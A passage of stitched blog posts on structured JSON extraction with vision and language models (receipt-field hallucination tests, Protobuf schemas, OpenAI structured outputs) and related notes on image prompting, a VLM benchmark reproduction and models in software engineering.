  optional float tax = 5;
  optional float total = 6;
}

message LineItem {
  string item = 1;
  float price = 2;
}

Using the provided content and images, extract an instance of Receipt as JSON in adherence to the above schema. No talk. JSON only.

gpt-4o-2024-08-06

{
  "merchant": "WALMART",
  "date": "08/15/2024",
  "line_items": [
    {
      "item": "Great Value Milk 1gal",
      "price": 3.27
    },
    {
      "item": "Bananas 2.35 lb",
      "price": 1.36
    },
    {
      "item": "Tide Pods 42ct",
      "price": 12.97
    },
    {
      "item": "Bread Wheat 20oz",
      "price": 1.88
    },
    {
      "item": "Eggs Large 18ct",
      "price": 4.23
    },
    {
      "item": "Chicken Breast 2.73lb",
      "price": 8.11
    }
  ],
  "subtotal": 31.82,
  "tax": 1.91,
  "total": 33.73
}

Looking at the model output, we see subtotal, tax and total in the response.

claude-3.5-sonnet has the same challenges.

User

syntax = "proto3";

package receipt_optionals;

message Receipt {
  string merchant = 1;
  string date = 2;
  repeated LineItem line_items = 3;
  optional float subtotal = 4;
  optional float tax = 5;
  optional float total = 6;
}

message LineItem {
  string item = 1;
  float price = 2;
}

Using the provided content and images, extract an instance of Receipt as JSON in adherence to the above schema. No talk. JSON only.

claude-3-5-sonnet-20240620

{
  "merchant": "WALMART",
  "date": "08/15/2024",
  "line_items": [
    {
      "item": "Great Value Milk 1gal",
      "price": 3.27
    },
    {
      "item": "Bananas 2.35 lb",
      "price": 1.36
    },
    {
      "item": "Tide Pods 42ct",
      "price": 12.97
    },
    {
      "item": "Bread Wheat 20oz",
      "price": 1.88
    },
    {
      "item": "Eggs Large 18ct",
      "price": 4.23
    },
    {
      "item": "Chicken Breast 2.731b",
      "price": 8.11
    }
  ],
  "subtotal": 31.82,
  "tax": null,
  "total": null
}

Why?

In the Protobuf, we specified these fields as optional, yet the model has output them anyway^[2]. This doesn’t happen every time but it happens far more often than I would like.

We could handwave these results away and say more prompt engineering would help but it doesn’t seem like it does, at least not reliably.

It’s been difficult to find stability to this particular extraction. There are a lot of elements that can be varied.

the schema (Protobuf, Pydantic, JSON schema, etc.)
the surrounding prompt, e.g. ”… No talk. JSON only”.
the image quality
whether the image has the subtotal, tax and total labels (with the values always missing)

I tried 4 different Protobufs against 5 different receipt PDFs. receipt-original.pdf was a standard receipt with all the data you would expect. Both models consistently extract the data correctly from these — 8/8 tests were successful.

Model	Proto	PDF	Result
gpt-4o-2024-08-06	receipt.proto	receipt-original.pdf	✅
gpt-4o-2024-08-06	receipt_comments.proto	receipt-original.pdf	✅
gpt-4o-2024-08-06	receipt_item_comments.proto	receipt-original.pdf	✅
gpt-4o-2024-08-06	receipt_optionals.proto	receipt-original.pdf	✅
claude-3-5-sonnet-20240620	receipt.proto	receipt-original.pdf	✅
claude-3-5-sonnet-20240620	receipt_comments.proto	receipt-original.pdf	✅
claude-3-5-sonnet-20240620	receipt_item_comments.proto	receipt-original.pdf	✅
claude-3-5-sonnet-20240620	receipt_optionals.proto	receipt-original.pdf	✅

As soon as I removed the values for subtotal, tax and total, we start seeing the hallucinations. I tried examples with just the values removed and with the values and labels removed. We see test failures (hallucinations) by both models across all of these examples.

Model	Proto	PDF	Result
gpt-4o-2024-08-06	receipt.proto	receipt-no-tax-or-totals.pdf	❌
gpt-4o-2024-08-06	receipt_comments.proto	receipt-no-tax-or-totals.pdf	❌
gpt-4o-2024-08-06	receipt_item_comments.proto	receipt-no-tax-or-totals.pdf	✅
gpt-4o-2024-08-06	receipt_optionals.proto	receipt-no-tax-or-totals.pdf	❌
gpt-4o-2024-08-06	receipt.proto	receipt-no-total-labels.pdf	❌
gpt-4o-2024-08-06	receipt_comments.proto	receipt-no-total-labels.pdf	✅
gpt-4o-2024-08-06	receipt_item_comments.proto	receipt-no-total-labels.pdf	✅
gpt-4o-2024-08-06	receipt_optionals.proto	receipt-no-total-labels.pdf	✅
gpt-4o-2024-08-06	receipt.proto	receipt-wild-numbers.pdf	❌
gpt-4o-2024-08-06	receipt_comments.proto	receipt-wild-numbers.pdf	✅
gpt-4o-2024-08-06	receipt_item_comments.proto	receipt-wild-numbers.pdf	✅
gpt-4o-2024-08-06	receipt_optionals.proto	receipt-wild-numbers.pdf	❌
claude-3-5-sonnet-20240620	receipt.proto	receipt-no-tax-or-totals.pdf	❌
claude-3-5-sonnet-20240620	receipt_comments.proto	receipt-no-tax-or-totals.pdf	✅
claude-3-5-sonnet-20240620	receipt_item_comments.proto	receipt-no-tax-or-totals.pdf	✅
claude-3-5-sonnet-20240620	receipt_optionals.proto	receipt-no-tax-or-totals.pdf	❌
claude-3-5-sonnet-20240620	receipt.proto	receipt-no-total-labels.pdf	❌
claude-3-5-sonnet-20240620	receipt_comments.proto	receipt-no-total-labels.pdf	✅
claude-3-5-sonnet-20240620	receipt_item_comments.proto	receipt-no-total-labels.pdf	✅
claude-3-5-sonnet-20240620	receipt_optionals.proto	receipt-no-total-labels.pdf	✅
claude-3-5-sonnet-20240620	receipt.proto	receipt-wild-numbers.pdf	❌
claude-3-5-sonnet-20240620	receipt_comments.proto	receipt-wild-numbers.pdf	❌
claude-3-5-sonnet-20240620	receipt_item_comments.proto	receipt-wild-numbers.pdf	✅
claude-3-5-sonnet-20240620	receipt_optionals.proto	receipt-wild-numbers.pdf	❌

For receipt-no-tax-or-totals.pdf, the receipt with the subtotal, tax and total labels but values missing, 5/8 of the tests fail, meaning the models outputted at least one of these values even though they aren’t actually in the document.

I ran three more rounds of testing for this document specifically.

Model	Proto	PDF	Failures
gpt-4o-2024-08-06	receipt.proto	receipt-no-tax-or-totals.pdf	3/3
gpt-4o-2024-08-06	receipt_comments.proto	receipt-no-tax-or-totals.pdf	1/3
gpt-4o-2024-08-06	receipt_item_comments.proto	receipt-no-tax-or-totals.pdf	1/3
gpt-4o-2024-08-06	receipt_optionals.proto	receipt-no-tax-or-totals.pdf	1/3
claude-3-5-sonnet-20240620	receipt.proto	receipt-no-tax-or-totals.pdf	3/3
claude-3-5-sonnet-20240620	receipt_comments.proto	receipt-no-tax-or-totals.pdf	2/3
claude-3-5-sonnet-20240620	receipt_item_comments.proto	receipt-no-tax-or-totals.pdf	0/3
claude-3-5-sonnet-20240620	receipt_optionals.proto	receipt-no-tax-or-totals.pdf	2/3

In all but one test, we see hallucinations at least 1/3 times and the only approach for which we don’t (claude-3-5-sonnet-20240620/receipt_item_comments.proto) is pretty kludgy.

syntax = "proto3";

package receipt_item_comments;

message Receipt {
  string merchant = 1;
  string date = 2;
  repeated LineItem line_items = 3;
  // do not extract unless value is present
  float subtotal = 4;
  // do not extract unless value is present
  float tax = 5;
  // do not extract unless value is present
  float total = 6;
}

message LineItem {
  string item = 1;
  float price = 2;
}

Takeaways

There are lots more things to try here, and I don’t believe these results preclude the use of VLMs for data extraction from documents, but it’s important not to blindly trust the models. They will make things up, often in a way that seems to make sense, but may not be correct.

Afterword

After running these experiments, I read a post from Anton about the quality of Gemini as a VLM.

Following Google’s docs, I ran the same experiments above for Gemini (gemini-1.5-flash-latest). I will reiterate my appreciation for the simplicity of the process of getting an API key to use Gemini. I probably wouldn’t have tried if I needed to wade through GCP to do it.

Model	Proto	PDF	Result
gemini-1.5-flash-latest	receipt.proto	receipt-no-tax-or-totals.pdf	✅
gemini-1.5-flash-latest	receipt_comments.proto	receipt-no-tax-or-totals.pdf	✅
gemini-1.5-flash-latest	receipt_item_comments.proto	receipt-no-tax-or-totals.pdf	✅
gemini-1.5-flash-latest	receipt_optionals.proto	receipt-no-tax-or-totals.pdf	✅
gemini-1.5-flash-latest	receipt.proto	receipt-no-total-labels.pdf	✅
gemini-1.5-flash-latest	receipt_comments.proto	receipt-no-total-labels.pdf	✅
gemini-1.5-flash-latest	receipt_item_comments.proto	receipt-no-total-labels.pdf	✅
gemini-1.5-flash-latest	receipt_optionals.proto	receipt-no-total-labels.pdf	✅
gemini-1.5-flash-latest	receipt.proto	receipt-original.pdf	✅
gemini-1.5-flash-latest	receipt_comments.proto	receipt-original.pdf	✅
gemini-1.5-flash-latest	receipt_item_comments.proto	receipt-original.pdf	✅
gemini-1.5-flash-latest	receipt_optionals.proto	receipt-original.pdf	✅
gemini-1.5-flash-latest	receipt.proto	receipt-wild-numbers.pdf	❌
gemini-1.5-flash-latest	receipt_comments.proto	receipt-wild-numbers.pdf	❌
gemini-1.5-flash-latest	receipt_item_comments.proto	receipt-wild-numbers.pdf	❌
gemini-1.5-flash-latest	receipt_optionals.proto	receipt-wild-numbers.pdf	❌

gemini-1.5-flash-latest seems to be better about not hallucinating values! However, it struggles to extract all the correct data from the more unusual receipt I generated. These results are a different flavor than OpenAI and Anthropic’s. I don’t have a strong appreciation for the differences in model architecture, but part of me wonders if that is contributing to the differences in results. Let me know if I am totally off about that. A brief search brought me to this paper which seems to indicate gemini-1.5-flash-latest uses a mixture of experts architecture whereas I believe gpt-4o-* uses a transformer architecture.

These results were good and interesting enough that I figured I would also run them against gemini-1.5-pro-latest to see what would happen. Pretty much all the tests failed. I imagine this is a bit of a claude-3.5-sonnet vs claude-3-opus situation (the former being a newer release and generally better in my experience). This experiment was my first dive into using a Google model which was a straightforward and enjoyable experience.

Code

If you want to run the tests I ran, you can find the code here.

I really need a name for this as I reference the concept so frequently. ↩
In some of my testing, I’ve seen the model even output correct values for subtotal, tax and total, but I am definitely not ready to trust them to do math using inference alone. ↩

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Structured Output, Functions and Prompting

Mon, 12 Aug 2024 21:15:27 GMT

I’ve been prompting models to output JSON for about as long as I’ve been using models. Since text-davinci-003, getting valid JSON out of OpenAI’s models didn’t seem like that big of a challenge, but maybe I wasn’t seeing the long tails of misbehavior because I hadn’t massively scaled up a use case. As adoption has picked up, OpenAI has released features to make it easier to get JSON output from a model. Here are three examples using structured outputs, function calling and just prompting respectively.

from pydantic import BaseModel
from openai import OpenAI
from typing import List
import json
import time


class Ingredient(BaseModel):
    name: str
    quantity: float
    unit: str


class Recipe(BaseModel):
    name: str
    ingredients: List[Ingredient]
    instructions: List[str]
    prep_time: int
    cook_time: int
    servings: int


MODEL = "gpt-4o-2024-08-06"
client = OpenAI()


def extract_recipe_with_response_format(recipe_text: str) -> Recipe:
    completion = client.beta.chat.completions.parse(
        model=MODEL,
        messages=[
            {
                "role": "system",
                "content": "You are a helpful cooking assistant that extracts recipe information.",
            },
            {"role": "user", "content": recipe_text},
        ],
        response_format=Recipe,
    )
    return completion.choices[0].message.parsed


def extract_recipe_with_function_calling(recipe_text: str) -> Recipe:
    completion = client.chat.completions.create(
        model=MODEL,
        messages=[
            {
                "role": "system",
                "content": "You are a helpful cooking assistant that extracts recipe information.",
            },
            {"role": "user", "content": recipe_text},
        ],
        functions=[
            {
                "name": "create_recipe",
                "description": "Create a structured recipe from the given text",
                "parameters": Recipe.model_json_schema(),
            }
        ],
        function_call={"name": "create_recipe"},
    )

    function_call = completion.choices[0].message.function_call
    response_data = json.loads(function_call.arguments)
    return Recipe(**response_data)


def extract_recipe_with_schema_in_prompt(recipe_text: str) -> Recipe:
    schema = Recipe.model_json_schema()
    completion = client.chat.completions.create(
        model=MODEL,
        messages=[
            {
                "role": "system",
                "content": f"You are a helpful cooking assistant that extracts recipe information. Please format your response as a JSON object matching this schema: {json.dumps(schema)}. No talk. Just JSON.",
            },
            {"role": "user", "content": recipe_text},
        ],
    )
    response_data = json.loads(
        completion.choices[0].message.content.replace("```json", "").replace("```", "")
    )
    return Recipe(**response_data)


def print_recipe(recipe: Recipe):
    print(json.dumps(recipe.model_dump(), indent=2))


if __name__ == "__main__":
    recipe_text = """
    Classic Chocolate Chip Cookies

    Ingredients:
    - 2 1/4 cups all-purpose flour
    - 1 tsp baking soda
    - 1 tsp salt
    - 1 cup unsalted butter, softened
    - 3/4 cup granulated sugar
    - 3/4 cup brown sugar
    - 2 large eggs
    - 2 tsp vanilla extract
    - 2 cups semisweet chocolate chips

    Instructions:
    1. Preheat oven to 375°F (190°C).
    2. In a bowl, mix flour, baking soda, and salt.
    3. In another bowl, cream butter and sugars until light and fluffy.
    4. Beat in eggs and vanilla to the butter mixture.
    5. Gradually stir in the flour mixture.
    6. Fold in chocolate chips.
    7. Drop spoonfuls of dough onto ungreased baking sheets.
    8. Bake for 9 to 11 minutes or until golden brown.
    9. Cool on baking sheets for 2 minutes, then transfer to wire racks.

    Prep Time: 15 minutes
    Cook Time: 10 minutes
    Servings: 24 cookies
    """

    print("Using response_format:")
    start_time = time.time()
    recipe_response_format = extract_recipe_with_response_format(recipe_text)
    end_time = time.time()
    print(f"Time taken: {end_time - start_time:.2f} seconds")
    print_recipe(recipe_response_format)

    print("\nUsing function calling:")
    start_time = time.time()
    recipe_function_calling = extract_recipe_with_function_calling(recipe_text)
    end_time = time.time()
    print(f"Time taken: {end_time - start_time:.2f} seconds")
    print_recipe(recipe_function_calling)

    print("\nUsing schema in prompt:")
    start_time = time.time()
    recipe_schema_in_prompt = extract_recipe_with_schema_in_prompt(recipe_text)
    end_time = time.time()
    print(f"Time taken: {end_time - start_time:.2f} seconds")
    print_recipe(recipe_schema_in_prompt)

Running the script (output objects truncated) yields

Using response_format:
Time taken: 5.75 seconds
{
  "name": "Classic Chocolate Chip Cookies",
  ...
  "prep_time": 15,
  "cook_time": 10,
  "servings": 24
}

Using function calling:
Time taken: 4.55 seconds
{
  "name": "Classic Chocolate Chip Cookies",
  ...
  "prep_time": 15,
  "cook_time": 10,
  "servings": 24
}

Using schema in prompt:
Time taken: 4.58 seconds
{
  "name": "Classic Chocolate Chip Cookies",
  ...
  "prep_time": 15,
  "cook_time": 10,
  "servings": 24
}

Don’t read too much into the time durations. After running the script a few times, all approaches seem to take 4-6 seconds, with none clearly faster than the others. The quality of the extraction seems to be around the same for all approaches for this use case as well.

Function calls are pitched as a solution to allow you to “connect models like gpt-4 to external tools and systems”^[1]. Structured outputs are supposed to be for “[g]enerating structured data from unstructured inputs”^[2]. The latter is an improvement on “JSON mode” apparently introduced in 2023 that I never tried. The bottom line is we need these models to respond with structure, but we don’t want the imposition of this structure to detract from the model’s performance.

I need to do some testing to see if the quality of the model’s response varies depending on which approach is used.

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VLM data extraction with Protobufs

Sat, 03 Aug 2024 16:37:52 GMT

In light of OpenAI releasing structured output in the model API, let’s move output structuring another level up the stack to the microservice/RPC level.

A light intro to Protobufs

Many services (mostly in microservice land) use Protocol Buffers (protobufs) to establish contracts for what data an RPC requires and what it will return. If you’re completely unfamiliar with protobufs, you can read up on them here.

Here is an example of a message that a protobuf service might return.

syntax = "proto3";

message Receipt {
    string id = 1;
    string merchant = 2;
    float total_amount = 3;
    string date = 4;
}

Here’s a very simple service that makes use of that message.

service ReceiptService {
    rpc GetReceipt (ReceiptRequest) returns (Receipt);
}

message ReceiptRequest {
    string id = 1;
}

Protobuf messages define the container into which data is packed and sent back to the caller. Protobuf messages and services typically live in .proto files. A tool called protoc can be used to generate code in the language of your choice to help you interact with a system that requires and responds with protobufs.

Extraction with a model

Similar to how we can use libraries like Pydantic (via libraries like instructor) and targeted prompting to get Pydantic objects in and out of a model, we can accomplish something quite similar with protobufs. The benefit of using protobufs rather than Pydantic, is they are a language agnostic data interchange format. It doesn’t matter what language our caller or our server uses — the following approach can still be applied.

A simple example

User

syntax = "proto3";

message Receipt {
    string id = 1;
    string merchant = 2;
    float total_amount = 3;
    string date = 4;
}

Using the provided content, extract data as JSON in adherence to the above schema. No talk. JSON only.

Content: Receipt from Acme Groceries Date: 2024-03-15 Total: $42.99 Receipt ID: R12345

gpt-4o

{
  "id": "R12345",
  "merchant": "Acme Groceries",
  "total_amount": 42.99,
  "date": "2024-03-15"
}

We’ve seen this before. Let’s try more things.

Data extraction with VLMs

We now have Vision Models can do inference and perform tasks with images in the context. Let’s prompt the model to extract data from a screenshot I took while finetuning gpt-3.5.turbo.

User

syntax = "proto3";

message FinetuneJob {
    string model_name = 1;
    string job_id = 2;
    string base_model = 3;
    string created_at = 4;
    int32 trained_tokens = 5;
    int32 epochs = 6;
    repeated File files = 7;
    float training_loss = 8;
    float validation_loss = 9;
}

message File {
    string type = 1;
    string name = 2;
}

Using the provided content and images, extract data as JSON in adherence to the above schema. If multiple pages or images are provided, combine the information into a single JSON object. No talk. JSON only.

gpt-4o

{
  "model_name": "ft:gpt-3.5-turbo-1106:personal::8gOmJtRC",
  "job_id": "ftjob-AzfQagaUHzzYkEgMVyIswzGK",
  "base_model": "gpt-3.5-turbo-1106",
  "created_at": "Jan 12, 2024, 9:55 PM",
  "trained_tokens": 111876,
  "epochs": 3,
  "files": [
    {
      "type": "Training",
      "name": "connections_prompts_train.jsonl"
    },
    {
      "type": "Validation",
      "name": "connections_prompts_test.jsonl"
    }
  ],
  "training_loss": 0.0658,
  "validation_loss": 0.3531
}

This seems to work quite well.

Parameterize the approach

A parameterized version of the prompts above looks like this.

User

{proto}

Using the provided content and images, extract an instance of {ProtoMessage} as JSON in adherence to the above schema. If multiple pages or images are provided, combine the information into a single JSON object. No talk. JSON only.{some image}

This next part is a bit unusual but stick with me.

We can setup a gRPC server and proto service that accepts a path to a .proto and a file path and responds with the Protobuf and JSON versions of the extraction using the approach above with a model. E.g.

syntax = "proto3";

package extract;

import "google/protobuf/any.proto";

service ExtractService {
  rpc ExtractData (ExtractRequest) returns (ExtractResponse) {}
}

message ExtractRequest {
  string proto_schema = 1;
  string file_path = 2;
}

message ExtractResponse {
  google.protobuf.Any proto_instance = 1;
  string json_result = 2;
}

If we assume we have the working server described above, given the FinetuneJob object above, here is what an example request script might look like

import grpc
from extract_pb2 import ExtractRequest
from extract_pb2_grpc import ExtractServiceStub

# Setup gRPC channel and client
channel = grpc.insecure_channel('localhost:50051')
client = ExtractServiceStub(channel)

# ":FinetuneJob" indicates to the server that a instance of the `FinetuneJob` object should be extracted
# There are several other ways you could design this
# This way was fast to implement
proto_schema = "/path/to/finetunejob.proto:FinetuneJob"
file_path = "/path/to/finetune_job_image.jpg"

# Create the request
request = ExtractRequest(proto_schema=proto_schema, file_path=file_path)

# Make the RPC call
response = client.ExtractData(request)

# Print the results
print("JSON Result:", response.json_result)
print("Proto Instance:", response.proto_instance)

For this example, our server is running on the same system as the client. The server

receives the request above
reads the image and .proto files from the file system
builds a prompt
makes a call to a model to do inference to extract the desired data in adherence to the specified protobuf message schema
returns the protobuf message as a google.protobuf.Any type, which can be unpacked by the client into the specific message type passed in

With this approach, we now have a Protobuf service that returns a Protobuf message in the schema we describe. However, more interestingly, we can modify the extraction instructions and resulting structure of the returned protobuf message by modifying the message itself.

In the FinetuneJob example above, it we also want to extract status from the image, we only need to augment the message:

syntax = "proto3";

message FinetuneJob {
    string model_name = 1;
    string job_id = 2;
    string base_model = 3;
    string created_at = 4;
    int32 trained_tokens = 5;
    int32 epochs = 6;
    repeated File files = 7;
    float training_loss = 8;
    float validation_loss = 9;
    string status = 10;
}

message File {
    string type = 1;
    string name = 2;
}

Running the inference again with the same prompt above and updated protobufs, yields

{
  "model_name": "ft:gpt-3.5-turbo-1106:personal::8gOmJtRC",
  "job_id": "ftjob-AzfQagaUHzzYkEgMVyIswzGK",
  "base_model": "gpt-3.5-turbo-1106",
  "created_at": "Jan 12, 2024, 9:55 PM",
  "trained_tokens": 111876,
  "epochs": 3,
  "files": [
    {
      "type": "Training",
      "name": "connections_prompts_train.jsonl"
    },
    {
      "type": "Validation",
      "name": "connections_prompts_test.jsonl"
    }
  ],
  "training_loss": 0.0658,
  "validation_loss": 0.3531,
  "status": "Succeeded"
}

Note the last item status now has the expected value "Succeeded".

Try it out

I wrote up a more complete proof-of-concept in this repo.

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Making Your Vision Real with Models

Sun, 21 Jul 2024 16:31:12 GMT

Using models for various different purposes daily has been a satisfying endeavor for me because they can be used as tools to help make your vision for something come to life. Models are powerful generators that can produce code, writing, images and more based on a user’s description of what they want. But models “fill in the gaps” on behalf of the user to resolve ambiguity in the user’s prompt.

Let’s take an example of prompting an image model (which I am honestly a bit of a novice at) to generate a picture of a tiger with DALL·E 2.

An adult tiger

The model has implicitly filled in several gaps in the prompt:

should the picture be photo realistic, cartoon, watercolor?
what environment should the tiger be in?
what should the primary color scheme be?
should anything else be in the image?

The model outputs what looks like a picture of a tiger, but there are all sorts of aspects of it that aren’t true to how you might have envisioned that picture in your head. If your vision ends at producing an image of some tiger, then models might not be very useful, but models really excel at giving you the output you want if you have something more specific in mind.

I use the example of image generation because I personally am not a particularly skilled artist. However, if I can imagine a scene in my head, I can describe what I want to see in words, and continuously refine that image by tweaking my prompt and running model inference until the image in my head comes to life from my description (or something pretty close to it). This materialization of one’s vision is what I find so powerful about today’s models. Using skills I have (precise language and description), I can provide instructions to models to make something more real from only an idea. I can do this generating images, writing code or even refining the language I use to describe my own thoughts to others in terms that resonate more clearly with them.

After more than 30 rounds of refinement, I settled on this prompt and image as an example^[1].

A realistic painting of a majestic adult tiger, center frame, regally sprawled out in the flat, expansive, arid grasslands of Africa, unexpectedly dotted by blooming sunflowers. There is a knowing twinkle in the tiger’s eyes, providing recognition of the absurdity of the scene.

With these tools, more than ever before, you can consider what you want to create in the world and get closer to making it real so that others can experience it rather than being limited by the skills you currently possess or the time it used to take to acquire baseline competence at a new skill. Models are tools you can use to help empower yourself to make your visions reality.

This vision of how models will transform one’s abilities is what excites me about the widespread application of this technology. All of this is something new — not something that can or should replace art or craft, but rather deepen it and augment our abilities to accomplish more of what we want to see in the world. There is a lot left to figure out in anticipation of the changes to come, but I’m (maybe naively) optimistic that these changes can be positive.

I didn’t use any post-processing techniques like in-painting or editing. This is the raw result from the model. There are subtle changes I might still want to make, like making the right eye look more like the left one, but in general, this image is ~85% true to my vision achieved in ~30 minutes as a relative novice using these tools, but knowing a bit about how prompts work. ↩

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VLMs aren't blind

Tue, 16 Jul 2024 20:40:52 GMT

I attempted to reproduce the results for one task from the VLMs are Blind paper. Specifically, Task 1: Counting line intersections. I ran 150 examples of lines generated by the code from the project with line thickness 4.

I started with the prompt:

How many times do the blue and red lines intersect?

using the model claude-3.5-sonnet with temperature 0. The paper reported 73.00% correctness for claude-3.5-sonnet with thickness 4.

Reproducing the experiment

My results were a bit better than those reported in the paper.

Results summary:
Expected count 0: 35/45 correct (Accuracy: 77.78%)
Failed images for count 0:
  - set1/0/image_49_thickness_4.png
  - set1/0/image_95_thickness_4.png
  - set1/0/image_33_thickness_4.png
  - set1/0/image_140_thickness_4.png
  - set1/0/image_26_thickness_4.png
  - set1/0/image_14_thickness_4.png
  - set1/0/image_3_thickness_4.png
  - set1/0/image_21_thickness_4.png
  - set1/0/image_12_thickness_4.png
  - set1/0/image_27_thickness_4.png
Expected count 1: 57/72 correct (Accuracy: 79.17%)
Failed images for count 1:
  - set1/1/image_109_thickness_4.png
  - set1/1/image_22_thickness_4.png
  - set1/1/image_125_thickness_4.png
  - set1/1/image_146_thickness_4.png
  - set1/1/image_100_thickness_4.png
  - set1/1/image_48_thickness_4.png
  - set1/1/image_9_thickness_4.png
  - set1/1/image_107_thickness_4.png
  - set1/1/image_70_thickness_4.png
  - set1/1/image_105_thickness_4.png
  - set1/1/image_38_thickness_4.png
  - set1/1/image_142_thickness_4.png
  - set1/1/image_79_thickness_4.png
  - set1/1/image_28_thickness_4.png
  - set1/1/image_31_thickness_4.png
Expected count 2: 26/33 correct (Accuracy: 78.79%)
Failed images for count 2:
  - set1/2/image_46_thickness_4.png
  - set1/2/image_63_thickness_4.png
  - set1/2/image_16_thickness_4.png
  - set1/2/image_29_thickness_4.png
  - set1/2/image_91_thickness_4.png
  - set1/2/image_87_thickness_4.png
  - set1/2/image_103_thickness_4.png
Overall accuracy: 78.67%

Trying the second prompt from the paper

I ran the original image set with the second prompt to see if that meaningfully changed the success rate.

How many times do the blue and red line plots cross each other?

This approach had better performance than the first:

Results summary:
Expected count 0: 39/45 correct (Accuracy: 86.67%)
Failed images for count 0:
  - set1/0/image_49_thickness_4.png
  - set1/0/image_95_thickness_4.png
  - set1/0/image_33_thickness_4.png
  - set1/0/image_26_thickness_4.png
  - set1/0/image_14_thickness_4.png
  - set1/0/image_3_thickness_4.png
Expected count 1: 65/72 correct (Accuracy: 90.28%)
Failed images for count 1:
  - set1/1/image_146_thickness_4.png
  - set1/1/image_100_thickness_4.png
  - set1/1/image_11_thickness_4.png
  - set1/1/image_105_thickness_4.png
  - set1/1/image_38_thickness_4.png
  - set1/1/image_142_thickness_4.png
  - set1/1/image_31_thickness_4.png
Expected count 2: 27/33 correct (Accuracy: 81.82%)
Failed images for count 2:
  - set1/2/image_41_thickness_4.png
  - set1/2/image_46_thickness_4.png
  - set1/2/image_63_thickness_4.png
  - set1/2/image_16_thickness_4.png
  - set1/2/image_29_thickness_4.png
  - set1/2/image_52_thickness_4.png
Overall accuracy: 87.33%

Trying a second set of images

To attempt to guard against highly anomalous results, I generated a new set of images and ran both prompts again.

Intersection Count	Set 1, Prompt 1	Set 1, Prompt 2	Set 2, Prompt 1	Set 2, Prompt 2
0	77.78%	86.67%	77.14%	85.71%
1	79.17%	90.28%	90.91%	97.40%
2	78.79%	81.82%	84.21%	94.74%
Overall	78.67%	87.33%	86.00%	94.00%

Conclusions

The prompt that used simpler language appeared to perform better across both sets of images. I played around with adding additional context (for fun) but all my attempts seemed to make Sonnet perform worse than the prompts enumerated above. I think it’s also worth calling attention to a specific class of model “mistakes”. The following is an example:

In this image, the model “incorrectly” identifies that there are two intersections between the blue and red lines. The ground truth says there is only one intersection because the lines do not overlap in Cartesian space but the lines in the image actually do overlap due to the thickness of the lines. If we considered these cases, the reported performance might improve, but I am probably not going to take this investigation much further. My data indicate the performance of Sonnet is better than what the paper reports, unless my approach has meaningfully diverged from theirs in some way that I’m not understanding.

I embarked on this reproduction because I was surprised to see how poorly models performed at these simple tasks and wanted to validate it for myself. Early testing with gpt-4o yielded results that seemed in alignment with the paper. I was getting a lot of failures. However, I think claude-3.5-sonnet deserves more credit for its capabilities than was given.

You can find the code and images used for these experiments here.

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Challenges and Opportunities of the Impact of Language Models on Software Engineering

Fri, 12 Jul 2024 19:00:00 GMT

I’m trying something a bit new, writing some of my thoughts about how the future might look based on patterns I’ve been observing lately.

From where I’m sitting, it seems language models are positioned to become an indispensable tool for the software engineer. While there continues to be advancement in model-driven agents which can autonomously accomplish software-creation tasks of increasing complexity, it’s not clear if or how long it will take these to completely replace the job function responsible for writing, testing, deploying and maintaining software in a production environment. If we accept the premise that the job of software engineer will exist in some capacity for the next several years, it becomes interesting to explore how widespread use of language models in software development will affect the job and evolution of the field.

Models could hurt software quality

I’ve heard some variant of the following refrain a few times:

Writing software with language models will result in more bugs and security vulnerabilities

I don’t think more bugs and security vulnerabilities are a necessary outcome of using language models to write code, but I expect some software written with language models will be buggy and insecure. I suspect these vulnerabilities and bugs will mostly be created in codebases by developers with less experience writing software. Most likely, by folks who never would have attempted to write code had language models not made writing software more accessible.

This is not to say existing software engineers won’t make any or even more mistakes by writing code with language models, but that experienced engineers are typically more familiar with tools and approaches that can help prevent these mistakes from making it to production (e.g. unit testing, integration testing, browser automation testing, penetration testing, load testing, code review).

I personally find the most effective way to build with a model is to view it as a pair programming partner. When writing code that will go to production with a pair, you might not personally write every line, but you’re engaged enough that you’ve at least read every line. I don’t yet trust models to write code that will go to production without thorough testing and scrutiny. The model isn’t going to get paged for an outage or security incident. If I’m going to be paged, I want to know what I’m shipping.

Inertia of existing languages and frameworks will increase

I think models will increase the number of people who are capable of building things with software. However, I also see models augmenting the capabilities of folks who are already confident software developers. The productivity I’ve gotten from using models to write software has been substantial, but these gains aren’t evenly distributed. If I want to write Python code, the model consistently can generate working code following my instructions. When I’ve tried to use a model to write a front end application with htmx, a newer framework with fewer existing examples in open source, the model has been less helpful.

Because of the productivity improvements, I imagine that professional engineers may bias to using languages and frameworks that the models they use are also proficient in, especially since businesses impose pressure to ship quickly. How good a model is at writing code in a language seems to be loosely correlated with how much existing code is out there in open source to be trained on. I think this situation will increase inertia and switching cost from “incumbent” languages and frameworks. If I’ve become used to a certain level of productivity, when I evaluate whether a new language or framework is worth using, it doesn’t just matter how productive or performant the technology is itself, it also matters how productive I can be with it using language models.

It may become necessary to train or fine-tune and release a model as part of a release of a new language or framework, or even a new major version of an existing language or framework to facilitate adoption of new APIs and features. As we come to rely more heavily on models for productivity, if new developments aren’t quickly incorporated into model training sets, we may lag behind in adopting advances and improvements for our systems, trading off the productivity gains for having the models write a lot of code for us.

Lastly, if training on more modestly sized datasets isn’t enough to make the model a meaningful productivity booster, the early mover advantage may be too much for new languages or frameworks to overcome. It may be too big of a productivity hit for a team to switch from Python to Rust unless their product requires the performance improvements Rust can offer. This problem already exists today, but the effects could become more entrenched.

That said, I’ve seen earlier signs that these effects may be possible to overcome. While my experience writing htmx code (as an example) with GPT-4 wasn’t too successful, Claude 3.5 Sonnet was quite good at generating code using this framework. This could be due to an increase in source material, improvement in model abilities or both. It’s hard to say with so many components of the environment changing at once.

Models lower migration cost

Models are excellent at reproducing code from one language or framework in another, provided they are already effective at producing both the source and the target language. Because of this capability, models are well positioned to reduce the cost of restructuring applications from an existing approach to a new one, or put another way, performing migrations. An example could be a migration of a service’s endpoints from REST to protobuf. Provided with the existing REST code, most leading-edge models could generate a high-quality starting point for the protobuf messages and services. If you have 10s or 100s of services, the time savings quickly start to add up.

Prior to the availability of these models, building high-quality migration tooling often required deep investment and static analysis. Many models can do this work without much additional upfront investment. Model assistance may reduce the expected effort of a migration effort to shift it from being “impractical” or “too time-consuming” to “feasible” or even “straightforward”. These improvements could be transformational for engineering organizations that have struggled to improve their developer experience or system health but have struggled to find the time, or incur substantial consulting fees to staff temporary teams to aid in required migration work.

Beware that this opportunity may be fleeting. While lagging, the demands of the business will probably adjust for this overall improvement in engineering velocity and leverage. Models will eventually lead businesses to expect more out of their engineering teams. For now, they may temporarily create the slack you need to get your team or organization into a better state and will likely decrease the absolute cost of org-wide changes and migrations.

Model change how we interview for engineering roles

